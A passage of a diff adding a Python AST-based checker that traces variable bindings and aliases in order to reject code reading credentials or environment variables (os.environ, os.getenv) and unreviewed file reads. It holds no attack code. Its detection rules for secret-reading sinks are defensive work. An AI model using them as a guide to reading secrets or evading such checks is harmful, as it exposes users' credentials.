"builtins": {"print"}, + "sys": {"exit", "displayhook", "excepthook"}, + "warnings": {"warn", "warn_explicit", "showwarning"}, + "traceback": {"print_exc", "print_exception"}, + }[imported.module] + ): + return True + elif kind == "assignment": + assigned_value = binding.value + while isinstance(assigned_value, ast.NamedExpr): + assigned_value = assigned_value.value + if ( + isinstance(assigned_value, ast.Name) + and resolves(assigned_value, visited | {key}) + ): + return True + if any( + isinstance(candidate, ast.Name) + and isinstance(candidate.ctx, ast.Load) + and resolves(candidate, visited | {key}) + for candidate in ast.walk(assigned_value) + ): + return True + return False + return False + + return resolves(node, set(seen)) + + +def python_known_non_path_reader_call(node, tree): + """Exempt proven AST/regex APIs that overlap Path filesystem method names.""" + attribute = node.func if isinstance(node, ast.Call) else node + if not isinstance(attribute, ast.Attribute): + return False + if attribute.attr == "group" and python_regex_match_receiver( + attribute.value, tree + ): + return True + if attribute.attr != "walk" or not isinstance(attribute.value, ast.Name): + return False + module = attribute.value.id + return python_imported_module_alias_is_stable(module, "ast", tree) + + +def python_regex_match_receiver(node, tree, seen=None): + """Prove a .group receiver came from an imported regular-expression API.""" + regex_modules = set() + regex_match_functions = {} + regex_compile_functions = {} + assignments = {} + iterable_bindings = {} + parents = { + child: parent + for parent in ast.walk(tree) + for child in ast.iter_child_nodes(parent) + } + + def shadowed_by_parameter(value): + if not isinstance(value, ast.Name): + return False + current = value + while current in parents: + current = parents[current] + if isinstance(current, (ast.FunctionDef, ast.AsyncFunctionDef)): + parameters = ( + list(current.args.posonlyargs) + + list(current.args.args) + + list(current.args.kwonlyargs) + ) + if current.args.vararg is not None: + parameters.append(current.args.vararg) + if current.args.kwarg is not None: + parameters.append(current.args.kwarg) + return any(parameter.arg == value.id for parameter in parameters) + if isinstance(current, ast.Lambda): + parameters = ( + list(current.args.posonlyargs) + + list(current.args.args) + + list(current.args.kwonlyargs) + ) + if current.args.vararg is not None: + parameters.append(current.args.vararg) + if current.args.kwarg is not None: + parameters.append(current.args.kwarg) + return any(parameter.arg == value.id for parameter in parameters) + return False + + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Import): + for alias in candidate.names: + local = alias.asname or alias.name.split(".", 1)[0] + if alias.name == "re" and python_imported_module_alias_is_stable( + local, "re", tree + ): + regex_modules.add(alias.asname or "re") + elif isinstance(candidate, ast.ImportFrom) and candidate.module == "re": + for alias in candidate.names: + if alias.name in {"match", "fullmatch", "search"}: + regex_match_functions[alias.asname or alias.name] = alias.name + elif alias.name == "compile": + regex_compile_functions[alias.asname or alias.name] = alias.name + elif isinstance(candidate, ast.Assign): + for target in candidate.targets: + if isinstance(target, ast.Name): + assignments.setdefault(target.id, []).append(candidate.value) + elif isinstance(candidate, ast.AnnAssign) and isinstance(candidate.target, ast.Name): + if candidate.value is not None: + assignments.setdefault(candidate.target.id, []).append(candidate.value) + elif isinstance(candidate, ast.NamedExpr) and isinstance(candidate.target, ast.Name): + assignments.setdefault(candidate.target.id, []).append(candidate.value) + elif isinstance(candidate, (ast.For, ast.AsyncFor, ast.comprehension)): + target_names = [] + + def collect_target(target): + if isinstance(target, ast.Name): + target_names.append(target.id) + elif isinstance(target, ast.Starred): + collect_target(target.value) + elif isinstance(target, (ast.Tuple, ast.List)): + for element in target.elts: + collect_target(element) + + collect_target(candidate.target) + for name in target_names: + iterable_bindings.setdefault(name, []).append(candidate.iter) + + def compiled_pattern(value, visited=None): + if visited is None: + visited = set() + if value is None or id(value) in visited: + return False + visited.add(id(value)) + if isinstance(value, ast.Call): + if isinstance(value.func, ast.Attribute) and value.func.attr == "compile": + module = value.func.value + if isinstance(module, ast.Name) and module.id in regex_modules: + return True + if ( + isinstance(value.func, ast.Name) + and value.func.id in regex_compile_functions + and python_imported_function_alias_is_stable( + value.func.id, "re", regex_compile_functions[value.func.id], tree + ) + ): + return True + if isinstance(value, ast.Name): + candidates = assignments.get(value.id, ()) + return bool(candidates) and all( + compiled_pattern(candidate, set(visited)) + for candidate in candidates + ) + return False + + def regex_match_callable(value, visited=None): + if visited is None: + visited = set() + if value is None or id(value) in visited: + return False + visited.add(id(value)) + if isinstance(value, ast.Name): + if value.id in regex_match_functions and python_imported_function_alias_is_stable( + value.id, "re", regex_match_functions[value.id], tree + ): + return True + candidates = assignments.get(value.id, ()) + return bool(candidates) and all( + regex_match_callable(candidate, set(visited)) + for candidate in candidates + ) + if isinstance(value, ast.Attribute) and value.attr in { + "finditer", "fullmatch", "match", "search", + }: + if isinstance(value.value, ast.Name) and value.value.id in regex_modules: + return True + return compiled_pattern(value.value) + return False + + def yields_match(value, visited=None): + if visited is None: + visited = set() + if value is None or id(value) in visited: + return False + visited.add(id(value)) + if isinstance(value, ast.Name): + if shadowed_by_parameter(value): + return False + candidates = tuple(assignments.get(value.id, ())) + tuple( + iterable_bindings.get(value.id, ()) + ) + return bool(candidates) and all( + yields_match(candidate, set(visited)) + for candidate in candidates + ) + if isinstance(value, ast.Call): + if regex_match_callable(value.func): + return True + if isinstance(value.func, ast.Name) and value.func.id in { + "filter", "iter", "list", "next", "reversed", "set", + "sorted", "tuple", + }: + return bool(value.args) and all( + yields_match(argument, set(visited)) + for argument in value.args + ) + if isinstance(value.func, ast.Name) and value.func.id == "map": + if value.args and regex_match_callable(value.args[0]): + return True + if isinstance(value.func, ast.Name) and value.func.id == "zip": + return bool(value.args) and all( + yields_match(argument, set(visited)) for argument in value.args + ) + if isinstance(value, (ast.ListComp, ast.SetComp, ast.GeneratorExp)): + return yields_match(value.elt, set(visited)) and all( + yields_match(generator.iter, set(visited)) + for generator in value.generators + ) + if isinstance(value, (ast.List, ast.Tuple, ast.Set)): + return bool(value.elts) and all( + yields_match(element, set(visited)) for element in value.elts + ) + return False + + if seen is not None: + return yields_match(node, set(seen)) + return yields_match(node) + + +def python_sensitive_read_violation(tree, parents): + """Reject environment/credential reads and unreviewed file read sinks.""" + unresolved_path_getattr = python_unresolved_path_getattr_violation( + tree, parents + ) + if unresolved_path_getattr: + return unresolved_path_getattr + sensitive_names = python_sensitive_value_names(tree, parents) + credential_reader_aliases = python_credential_reader_aliases(tree) + path_reader_aliases = python_path_reader_aliases(tree, parents) + assignments_by_name = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets = candidate.targets + value = candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets = [candidate.target] + value = candidate.value + elif isinstance(candidate, (ast.For, ast.AsyncFor, ast.comprehension)): + targets = [candidate.target] + value = candidate.iter + else: + continue + for target in targets: + for name in ast.walk(target): + if isinstance(name, ast.Name) and isinstance(name.ctx, ast.Store): + assignments_by_name.setdefault(name.id, []).append( + (python_enclosing_scope(candidate, parents), value) + ) + + def helper_parameters(function): + return list(function.args.posonlyargs) + list(function.args.args) + + def expanded_keyword_values(value): + if isinstance(value, ast.Dict) and all( + isinstance(key, ast.Constant) and isinstance(key.value, str) + for key in value.keys + ): + return dict(zip((key.value for key in value.keys), value.values)) + if ( + isinstance(value, ast.Call) + and python_dotted_name(value.func) == "dict" + and not value.args + and all(keyword.arg is not None for keyword in value.keywords) + ): + return {keyword.arg: keyword.value for keyword in value.keywords} + return None + + for function in ast.walk(tree): + if not isinstance(function, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + continue + positional = helper_parameters(function) + default_offset = len(positional) - len(function.args.defaults) + for parameter, default in zip( + positional[default_offset:], function.args.defaults + ): + assignments_by_name.setdefault(parameter.arg, []).append( + (function, default) + ) + for parameter, default in zip( + function.args.kwonlyargs, function.args.kw_defaults + ): + if default is not None: + assignments_by_name.setdefault(parameter.arg, []).append( + (function, default) + ) + + for call_node in ast.walk(tree): + if not isinstance(call_node, ast.Call): + continue + candidates = [] + if isinstance(call_node.func, ast.Name): + candidates.extend((function, False) for function in ( + python_local_function_candidates(call_node.func.id, call_node, tree, parents) + + python_local_lambda_candidates(call_node.func.id, call_node, tree, parents) + )) + candidates.extend((function, True) for function in + python_local_bound_method_candidates(call_node.func.id, call_node, tree, parents)) + elif isinstance(call_node.func, ast.Lambda): + candidates.append((call_node.func, False)) + elif isinstance(call_node.func, ast.Attribute): + candidates.extend((function, True) for function in + python_local_method_candidates(call_node.func, call_node, tree, parents)) + for function, bound_method in candidates: + positional = helper_parameters(function) + is_static = any(python_dotted_name(decorator) == "staticmethod" + for decorator in getattr(function, "decorator_list", ())) + if (bound_method and positional and not is_static + and python_local_method_is_bound(call_node, function, tree, parents)): + positional = positional[1:] + for index, argument in enumerate(call_node.args): + if isinstance(argument, ast.Starred): + for parameter in positional[index:]: + assignments_by_name.setdefault(parameter.arg, []).append( + (function, argument.value) + ) + elif index < len(positional): + assignments_by_name.setdefault(positional[index].arg, []).append( + (function, argument) + ) + if function.args.vararg is not None: + assignments_by_name.setdefault(function.args.vararg.arg, []).append( + (function, argument) + ) + named_parameters = { + parameter.arg + for parameter in positional + function.args.kwonlyargs + } + for keyword in call_node.keywords: + if keyword.arg in named_parameters: + assignments_by_name.setdefault(keyword.arg, []).append( + (function, keyword.value) + ) + if keyword.arg is None: + expanded_values = expanded_keyword_values(keyword.value) + if expanded_values is not None: + for key, value in expanded_values.items(): + if key in named_parameters: + assignments_by_name.setdefault(key, []).append( + (function, value) + ) + else: + for name in named_parameters: + assignments_by_name.setdefault(name, []).append( + (function, keyword.value) + ) + if function.args.kwarg is not None and ( + keyword.arg is None or keyword.arg not in named_parameters + ): + assignments_by_name.setdefault(function.args.kwarg.arg, []).append( + (function, keyword.value) + ) + local_exception_names = { + candidate.name + for candidate in ast.walk(tree) + if isinstance(candidate, ast.ClassDef) + and any( + isinstance(base, ast.Name) and base.id in {"Exception", "ValueError"} + for base in candidate.bases + ) + } + error_operand_bindings = {} + def error_operand_starred_sources(value, seen): + if value is None or id(value) in seen: + return [] + seen.add(id(value)) + if isinstance(value, ast.Starred): + return error_operand_starred_sources(value.value, seen) + if isinstance(value, ast.Name): + for scope in python_lexical_scope_chain(python_enclosing_scope(value, parents), parents): + expanded_sources = [source for source_scope, source + in assignments_by_name.get(value.id, ()) if source_scope is scope] + if expanded_sources: + return [element for source in expanded_sources + for element in error_operand_starred_sources(source, seen)] + return [value] + if isinstance(value, (ast.Tuple, ast.List)): + return [element for source in value.elts for element in ( + error_operand_starred_sources(source, seen) + if isinstance(source, ast.Starred) else [source])] + if isinstance(value, ast.Call): + return [element for source in python_local_call_return_values(value, tree, parents) + for element in error_operand_starred_sources(source, seen)] + return [value] + + def error_operand_binding_pairs(target, value): + if isinstance(target, ast.Name): + return [(target, value)] + if isinstance(target, (ast.Tuple, ast.List)): + pairs = [] + starred_positions = [position for position, element in enumerate(target.elts) + if isinstance(element, ast.Starred)] + for index, item in enumerate(target.elts): + if (isinstance(value, (ast.Tuple, ast.List)) and len(starred_positions) <= 1 + and not any(isinstance(element, ast.Starred) for element in value.elts)): + if starred_positions: + star_position = starred_positions[0] + tail_count = len(target.elts) - star_position - 1 + if isinstance(item, ast.Starred): + for source in value.elts[star_position:len(value.elts) - tail_count]: + pairs.extend(error_operand_binding_pairs(item, source)) + continue + source_index = index if index < star_position else index - len(target.elts) + else: + source_index = index + if -len(value.elts) <= source_index < len(value.elts): + pairs.extend(error_operand_binding_pairs(item, value.elts[source_index])) + continue + # Unresolved destructuring retains every possible source identity. + sources = value.elts if isinstance(value, (ast.Tuple, ast.List)) else [value] + for source in sources: + alternatives = (error_operand_starred_sources(source, set()) + if isinstance(source, ast.Starred) else [source]) + for alternative in alternatives: + pairs.extend(error_operand_binding_pairs(item, alternative)) + return pairs + if isinstance(target, ast.Starred): + return error_operand_binding_pairs(target.value, value) + return [] + + for candidate in ast.walk(tree): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + loop_iter = None + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr, ast.AugAssign)): + targets, value = [candidate.target], candidate.value + loop_iter = None + elif isinstance(candidate, (ast.For, ast.AsyncFor, ast.comprehension)): + targets, value = [candidate.target], candidate.iter + loop_iter = candidate.iter + else: + continue + if value is None: + continue + binding_scope = python_enclosing_scope(candidate, parents) + for target in targets: + if loop_iter is not None and isinstance(target, (ast.Tuple, ast.List)): + for position, element in enumerate(target.elts): + if not ( + isinstance(element, ast.Name) + and isinstance(element.ctx, ast.Store) + ): + continue + keys_only = ( + position == 0 + and isinstance(loop_iter, ast.Call) + and isinstance(loop_iter.func, ast.Attribute) + and loop_iter.func.attr == "items" + ) + error_operand_bindings.setdefault(element.id, []).append( + (binding_scope, value, keys_only) + ) + continue + for name, source in error_operand_binding_pairs(target, value): + if isinstance(name.ctx, ast.Store): + error_loop_keys_only = loop_iter is not None + if isinstance(loop_iter, ast.Call) and isinstance( + loop_iter.func, ast.Attribute + ): + error_loop_keys_only = loop_iter.func.attr == "keys" + error_operand_bindings.setdefault(name.id, []).append( + (binding_scope, source, error_loop_keys_only) + ) + error_operand_mutated_keys = {} + for candidate in ast.walk(tree): + if isinstance(candidate, (ast.Assign, ast.AnnAssign)): + if isinstance(candidate, ast.AnnAssign) and candidate.value is None: + continue + targets = ( + candidate.targets + if isinstance(candidate, ast.Assign) + else [candidate.target] + ) + for target in targets: + if ( + isinstance(target, ast.Subscript) + and isinstance(target.ctx, ast.Store) + and isinstance(target.value, ast.Name) + ): + error_operand_mutated_keys.setdefault( + target.value.id, [] + ).append( + ( + python_enclosing_scope(candidate, parents), + target.slice, + False, + ) + ) + elif isinstance(candidate, ast.AugAssign): + if isinstance(candidate.op, ast.BitOr) and isinstance( + candidate.target, ast.Name + ): + error_operand_mutated_keys.setdefault(candidate.target.id, []).append( + (python_enclosing_scope(candidate, parents), candidate.value, True) + ) + elif isinstance(candidate, ast.Call): + func = candidate.func + if not ( + isinstance(func, ast.Attribute) + and isinstance(func.value, ast.Name) + and func.attr in {"update", "setdefault", "__setitem__"} + ): + continue + key_sources = [] + if func.attr == "update": + for argument in candidate.args: + if isinstance(argument, ast.Dict): + key_sources.extend( + (key, False) + for key in argument.keys + if key is not None + ) + else: + key_sources.append((argument, True)) + key_sources.extend( + (keyword.value, True) + for keyword in candidate.keywords + if keyword.arg is None + ) + elif candidate.args: + key_sources.append((candidate.args[0], False)) + if key_sources: + mutation_scope = python_enclosing_scope(candidate, parents) + error_operand_mutated_keys.setdefault(func.value.id, []).extend( + (mutation_scope, key, is_mapping) + for key, is_mapping in key_sources + ) + # Mapping identity is shared in both directions across simple scoped aliases. + # Retain every possible binding conservatively; cycles converge by set union. + def mutation_binding_scope(scope, name): + for owner in python_lexical_scope_chain(scope, parents): + if any(entry_scope is owner for entry_scope, _value, _keys + in error_operand_bindings.get(name, ())): + return owner + if isinstance(owner, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + parameters = helper_parameters(owner) + list(owner.args.kwonlyargs) + if any(parameter.arg == name for parameter in parameters): + return owner + return scope + + mutation_aliases = [] + for name, entries in error_operand_bindings.items(): + for scope, binding, keys_only in entries: + if keys_only or not isinstance(binding, ast.Name): + continue + source_scope = mutation_binding_scope(scope, binding.id) + mutation_aliases.append(((scope, name), (source_scope, binding.id))) + # Call-bound parameters share the caller's mapping identity; their source + # Name retains its original lexical parent, including captured receivers. + for name, entries in assignments_by_name.items(): + for scope, source in entries: + if not isinstance(source, ast.Name) or not isinstance( + scope, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda)): + continue + if name not in {parameter.arg for parameter in + helper_parameters(scope) + list(scope.args.kwonlyargs)}: + continue + source_scope = mutation_binding_scope(python_enclosing_scope(source, parents), source.id) + mutation_aliases.append(((scope, name), (source_scope, source.id))) + scoped_mutations = {} + for name, entries in error_operand_mutated_keys.items(): + for scope, key, is_mapping in entries: + scope = mutation_binding_scope(scope, name) + scoped_mutations.setdefault((scope, name), set()).add((key, is_mapping)) + changed = True + while changed: + changed = False + for left, right in mutation_aliases: + merged = scoped_mutations.get(left, set()) | scoped_mutations.get(right, set()) + for endpoint in (left, right): + if scoped_mutations.get(endpoint, set()) != merged: + scoped_mutations[endpoint] = set(merged) + changed = True + error_operand_mutated_keys = {} + for (scope, name), entries in scoped_mutations.items(): + error_operand_mutated_keys.setdefault(name, []).extend( + (scope, key, is_mapping) for key, is_mapping in entries) + error_operand_classes = {} + for candidate in ast.walk(tree): + if isinstance(candidate, ast.ClassDef): + error_operand_classes.setdefault(candidate.name, []).append( + (python_enclosing_scope(candidate, parents), candidate) + ) + error_operand_parameters = {} + for candidate in ast.walk(tree): + if not isinstance( + candidate, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda) + ): + continue + positional = list(candidate.args.posonlyargs) + list(candidate.args.args) + defaults = list(candidate.args.defaults) + pairs = ( + list(zip(positional[-len(defaults):], defaults)) if defaults else [] + ) + pairs.extend( + (parameter, default) + for parameter, default in zip( + candidate.args.kwonlyargs, candidate.args.kw_defaults + ) + if default is not None + ) + for parameter, default in pairs: + error_operand_bindings.setdefault(parameter.arg, []).append( + (candidate, default, None) + ) + names = { + parameter.arg + for parameter in positional + list(candidate.args.kwonlyargs) + } + if candidate.args.vararg is not None: + names.add(candidate.args.vararg.arg) + if candidate.args.kwarg is not None: + names.add(candidate.args.kwarg.arg) + error_operand_parameters[candidate] = names + + error_operand_propagators = { + "str", + "bytes", + "repr", + "format", + "ascii", + "tuple", + "frozenset", + } + error_operand_iterators = { + "enumerate", + "filter", + "iter", + "map", + "next", + "reversed", + "sorted", + "zip", + "chain", + } + error_operand_index_methods = { + "find", + "rfind", + "index", + "rindex", + "count", + "startswith", + "endswith", + "isdigit", + "isalpha", + "isalnum", + "isspace", + "isupper", + "islower", + "istitle", + "isdecimal", + "isascii", + "isidentifier", + "isprintable", + "isnumeric", + } + + error_operand_element_iterators = { + "sorted", + "reversed", + "list", + "tuple", + "set", + "frozenset", + "iter", + "enumerate", + "next", + "zip", + "chain", + } + + def error_operand_callable_bases(name): + bases = {name} + for _scope, binding, _loop in error_operand_bindings.get(name, ()): + if isinstance(binding, ast.Name): + bases.add(binding.id) + return bases + + error_operand_conversions = { + "int", + "float", + "complex", + "builtins.int", + "builtins.float", + "builtins.complex", + } + + stored_mapping_values = {} + for candidate in ast.walk(tree): + scope = python_enclosing_scope(candidate, parents) + stores = [] + if isinstance(candidate, (ast.Assign, ast.AnnAssign)) and candidate.value is not None: + targets = candidate.targets if isinstance(candidate, ast.Assign) else [candidate.target] + stores.extend((target.value, target.slice, candidate.value) for target in targets + if isinstance(target, ast.Subscript)) + elif (isinstance(candidate, ast.Call) and isinstance(candidate.func, ast.Attribute) + and candidate.func.attr in {"update", "setdefault", "__setitem__"}): + receiver = candidate.func.value + if candidate.func.attr == "update": + for argument in candidate.args: + if isinstance(argument, ast.Dict): + stores.extend((receiver, key, value) for key, value + in zip(argument.keys, argument.values)) + else: + stores.append((receiver, None, argument)) + stores.extend((receiver, ast.Constant(value=keyword.arg) if keyword.arg is not None else None, + keyword.value) for keyword in candidate.keywords) + elif len(candidate.args) >= 2: + stores.append((receiver, candidate.args[0], candidate.args[1])) + elif isinstance(candidate, ast.AugAssign) and isinstance(candidate.op, ast.BitOr): + if isinstance(candidate.value, ast.Dict): + stores.extend((candidate.target, key, value) for key, value + in zip(candidate.value.keys, candidate.value.values)) + for receiver, key, value in stores: + if isinstance(receiver, ast.Name): + owner = mutation_binding_scope(scope, receiver.id) + stored_mapping_values.setdefault((owner, receiver.id), set()).add((key, value)) + changed = True + while changed: + changed = False + for left, right in mutation_aliases: + merged = stored_mapping_values.get(left, set()) | stored_mapping_values.get(right, set()) + for endpoint in (left, right): + if stored_mapping_values.get(endpoint, set()) != merged: + stored_mapping_values[endpoint] = set(merged) + changed = True + + def error_operand_subscript_values(expression, seen_expressions=None): + """Follow scoped container aliases before selecting literal entries.""" + if seen_expressions is None: + seen_expressions = set() + if id(expression) in seen_expressions: + return [] + seen_expressions.add(id(expression)) + pending = [expression.value] + seen = set() + values = [] + while pending: + operand_container = pending.pop() + if operand_container is None or id(operand_container) in seen: + continue + seen.add(id(operand_container)) + if isinstance(operand_container, ast.Name): + for scope in python_lexical_scope_chain( + python_enclosing_scope(operand_container, parents), parents): + entries = [binding for binding_scope, binding, _keys + in error_operand_bindings.get(operand_container.id, ()) if binding_scope is scope] + is_parameter = operand_container.id in error_operand_parameters.get(scope, ()) + stores = stored_mapping_values.get((scope, operand_container.id), ()) + for key, value in stores: + if key is None: + pending.append(value) + elif (not isinstance(expression.slice, ast.Constant) + or not isinstance(key, ast.Constant) or key.value == expression.slice.value): + values.append(value) + if is_parameter: + entries.extend(source for source_scope, source + in assignments_by_name.get(operand_container.id, ()) if source_scope is scope) + if entries or is_parameter or stores: + pending.extend(entries) + break + elif isinstance(operand_container, ast.Dict): + for key, item in zip(operand_container.keys, operand_container.values): + if key is None: + pending.append(item) + elif (not isinstance(expression.slice, ast.Constant) + or not isinstance(key, ast.Constant) + or key.value == expression.slice.value): + values.append(item) + elif isinstance(operand_container, (ast.Tuple, ast.List)): + index = expression.slice + if (isinstance(index, ast.Constant) and isinstance(index.value, int) + and not isinstance(index.value, bool) + and -len(operand_container.elts) <= index.value < len(operand_container.elts)): + values.append(operand_container.elts[index.value]) + else: + values.extend(operand_container.elts) + elif isinstance(operand_container, ast.IfExp): + pending.extend((operand_container.body, operand_container.orelse)) + elif isinstance(operand_container, ast.Subscript): + pending.extend(error_operand_subscript_values(operand_container, seen_expressions)) + return values + + def error_operand_conversion_callable(func, seen): + if func is None or id(func) in seen: + return False + seen.add(id(func)) + if python_dotted_name(func) in error_operand_conversions: + return True + if isinstance(func, ast.Dict): + # An unpacked dictionary contributes its values to the callable + # container; unknown keys conservatively retain every option. + return any(error_operand_conversion_callable(value, set(seen)) + for value in func.values) + if isinstance(func, ast.Name): + if ( + python_assigned_callable_alias(func.id, "int", tree) + or python_assigned_callable_alias(func.id, "float", tree) + or python_assigned_callable_alias(func.id, "complex", tree) + ): + return True + chain = python_lexical_scope_chain( + python_enclosing_scope(func, parents), parents + ) + for scope in chain: + for binding_scope, binding, _keys in error_operand_bindings.get( + func.id, () + ): + if binding_scope is scope and error_operand_conversion_callable( + binding, set(seen) + ): + return True + for source_scope, source in assignments_by_name.get(func.id, ()): + if source_scope is scope and error_operand_conversion_callable( + source, set(seen) + ): + return True + return False + if isinstance(func, ast.Subscript): + return any(error_operand_conversion_callable(item, set(seen)) + for item in error_operand_subscript_values(func)) + return False + + def error_operand_sensitive(value, keys_mode=False): + """Iterative operand-sensitivity reachability over (node, domain) pairs. + + A worklist (not mutual recursion) so launcher-index traversal cannot + blow up through call/return edges: each pair expands once. + """ + stack = [(value, keys_mode)] + seen_pairs = set() + while stack: + node, keys_only_mode = stack.pop() + if node is None: + continue + pair = (id(node), keys_only_mode) + if pair in seen_pairs: + continue + seen_pairs.add(pair) + if keys_only_mode: + if isinstance(node, ast.Dict): + stack.extend( + (key, False) for key in node.keys if key is not None + ) + elif isinstance(node, ast.DictComp): + stack.append((node.key, False)) + elif isinstance(node, (ast.List, ast.Tuple, ast.Set)): + stack.extend((item, False) for item in node.elts) + elif isinstance(node, ast.BinOp): + stack.extend(((node.left, True), (node.right, True))) + elif isinstance(node, ast.IfExp): + stack.extend(((node.body, True), (node.orelse, True))) + elif python_dotted_name(node) in {"os.environ", "os.environb"}: + continue + elif isinstance(node, ast.Call): + if isinstance(node.func, ast.Name) and node.func.id == "dict": + stack.append( + (node.args[0] if node.args else None, True) + ) + elif not isinstance(node.func, ast.Attribute): + if ( + isinstance(node.func, ast.Name) + and node.func.id in error_operand_element_iterators + ): + stack.extend( + (part, True) + for part in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + else: + stack.append((node, False)) + elif node.func.attr in {"keys", "fromkeys"}: + stack.append( + ( + node.args[0] + if node.args + else node.func.value, + True, + ) + ) + elif node.func.attr == "copy": + stack.append((node.func.value, True)) + elif node.func.attr == "items": + stack.append((node.func.value, True)) + else: + stack.append((node, False)) + elif isinstance(node, ast.Name): + chain = python_lexical_scope_chain( + python_enclosing_scope(node, parents), parents + ) + visible_scopes = set(chain) + for ( + mutation_scope, + key, + is_mapping, + ) in error_operand_mutated_keys.get(node.id, ()): + if mutation_scope not in visible_scopes: + continue + stack.append((key, True if is_mapping else False)) + for scope in chain: + entries = [ + (binding, keys_only) + for binding_scope, binding, keys_only in error_operand_bindings.get( + node.id, () + ) + if binding_scope is scope + ] + is_parameter = node.id in error_operand_parameters.get( + scope, () + ) + if entries or is_parameter: + stack.extend( + (binding, True if keys_only else False) + for binding, keys_only in entries + ) + if is_parameter: + stack.extend( + (source, True) + for source_scope, source in assignments_by_name.get( + node.id, () + ) + if source_scope is scope + ) + break + else: + stack.append((node, False)) + else: + if isinstance(node, ast.Name): + chain = python_lexical_scope_chain( + python_enclosing_scope(node, parents), parents + ) + for scope in chain: + entries = [ + (binding, keys_only) + for binding_scope, binding, keys_only in error_operand_bindings.get( + node.id, () + ) + if binding_scope is scope + ] + is_parameter = node.id in error_operand_parameters.get( + scope, () + ) + if entries or is_parameter: + stack.extend( + (binding, True if keys_only else False) + for binding, keys_only in entries + ) + if is_parameter: + stack.extend( + (source, False) + for source_scope, source in assignments_by_name.get( + node.id, () + ) + if source_scope is scope + ) + break + elif isinstance(node, ast.Attribute): + if python_dotted_name(node) in {"os.environ", "os.environb"}: + return True + stack.append((node.value, False)) + elif isinstance(node, ast.Call): + dotted = python_dotted_name(node.func) + if dotted in {"os.getenv", "os.getenvb"}: + return True + if isinstance(node.func, ast.Attribute): + if node.func.attr not in error_operand_index_methods: + stack.append((node.func.value, False)) + stack.extend( + (argument, False) for argument in node.args + ) + stack.extend( + (keyword.value, False) + for keyword in node.keywords + ) + elif isinstance(node.func, (ast.Name, ast.Lambda)): + returned = python_local_call_return_values( + node, tree, parents + ) + if returned: + stack.extend( + (result, False) for result in returned + ) + elif isinstance(node.func, ast.Name) and ( + error_operand_callable_bases(node.func.id) + & (error_operand_propagators | error_operand_iterators) + or dotted + in { + "itertools.chain", + "itertools.chain.from_iterable", + } + ): + stack.extend( + (part, False) + for part in list(node.args) + + [keyword.value for keyword in node.keywords] + ) + elif isinstance(node, ast.Subscript): + if python_dotted_name(node.value) in { + "os.environ", + "os.environb", + }: + return True + stack.extend(((node.value, False), (node.slice, False))) + elif isinstance(node, ast.NamedExpr): + stack.append((node.value, False)) + elif isinstance(node, (ast.List, ast.Tuple, ast.Set)): + stack.extend((item, False) for item in node.elts) + elif isinstance(node, ast.Dict): + stack.extend( + (item, False) + for item in list(node.keys) + list(node.values) + if item is not None + ) + elif isinstance(node, ast.IfExp): + stack.extend(((node.body, False), (node.orelse, False))) + elif isinstance(node, (ast.BinOp, ast.BoolOp, ast.UnaryOp)): + stack.extend( + (child, False) + for child in ast.iter_child_nodes(node) + if isinstance(child, ast.expr) + ) + elif isinstance(node, (ast.JoinedStr, ast.FormattedValue)): + stack.extend( + (child, False) + for child in ast.iter_child_nodes(node) + if isinstance(child, ast.expr) + ) + elif isinstance(node, ast.Starred): + stack.append((node.value, False)) + elif isinstance(node, (ast.Compare, ast.Slice)): + continue + else: + continue + return False + + def protocol_callable_targets(value, seen, assigned_protocol=False): + """Prove all local callable alternatives at the inspected protocol boundary.""" + if value is None or id(value) in seen: + return None + if assigned_protocol and isinstance(value, ast.Attribute): + return None # Extracted methods have unproven receiver/descriptor binding. + if isinstance(value, (ast.FunctionDef, ast.AsyncFunctionDef, ast.Lambda, ast.ClassDef)): + return [value] + seen = seen | {id(value)} + if isinstance(value, ast.Call): + targets = protocol_callable_targets(value.func, seen, assigned_protocol) + if not targets or any(isinstance(target, ast.ClassDef) for target in targets): + return None + alternatives = python_local_call_return_values(value, tree, parents) + else: + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + resolved = [protocol_callable_targets(reference, seen, assigned_protocol) for reference in alternatives] + if not resolved or any(targets is None for targets in resolved): + return None + return [target for targets in resolved for target in targets] + + def subscription_result_proven(value, seen): + # Bounded literal-result proof, not a bound-method/effects interpreter. + if value is None or id(value) in seen or error_operand_sensitive(value): + return False + if any(isinstance(part, (ast.Name, ast.Attribute)) and any(isinstance(reference, (ast.List, ast.Tuple, ast.Dict, ast.Set)) + and any(isinstance(item, (ast.List, ast.Dict, ast.Set)) for item in ast.walk(reference)) + for reference in python_value_provenance(part, tree, parents)) for part in ast.walk(value)): + return False # Named mutable dependencies/defaults cannot certify original literal contents. + seen = seen | {id(value)} + if isinstance(value, ast.Constant): + return True + if isinstance(value, (ast.List, ast.Tuple, ast.Set)): + return all(subscription_result_proven(item, seen) for item in value.elts) + if isinstance(value, ast.Dict): + return all(key is not None and subscription_result_proven(key, seen) + and subscription_result_proven(item, seen) + for key, item in zip(value.keys, value.values)) + if isinstance(value, ast.Call): + targets = protocol_callable_targets(value.func, set()) + if not targets or any(isinstance(target, ast.ClassDef) + or subscription_implementation_unproven(target) for target in targets): + return False # Object and unresolved bound-call results refuse, even if harmless. + alternatives = python_local_call_return_values(value, tree, parents) + elif isinstance(value, (ast.Name, ast.IfExp, ast.Subscript)): + alternatives = [reference for reference in python_value_provenance(value, tree, parents) + if reference is not value] + else: + return False + return bool(alternatives) and all(subscription_result_proven(reference, seen) + for reference in alternatives) + + def subscription_state_targets(value): + for reference in python_value_provenance(value, tree, parents): + if not isinstance(reference, ast.Name): + continue + inventory = getattr(tree, "_issue79_sensitive_imported_alias_bindings", {}) + for scope in python_sensitive_alias_scope_chain(reference, parents): + bindings = inventory.get((id(scope), reference.id), ()) + if not bindings or any(kind in {"global", "nonlocal"} for kind, _ in bindings): + continue + if any(kind == "unknown" and isinstance(binding, ast.arg) + and not mutation_parameter_calls_closed(binding) for kind, binding in bindings): + return None # Callback-supplied parameters cannot close from defaults alone. + break + return protocol_callable_targets(value, set()) + + def 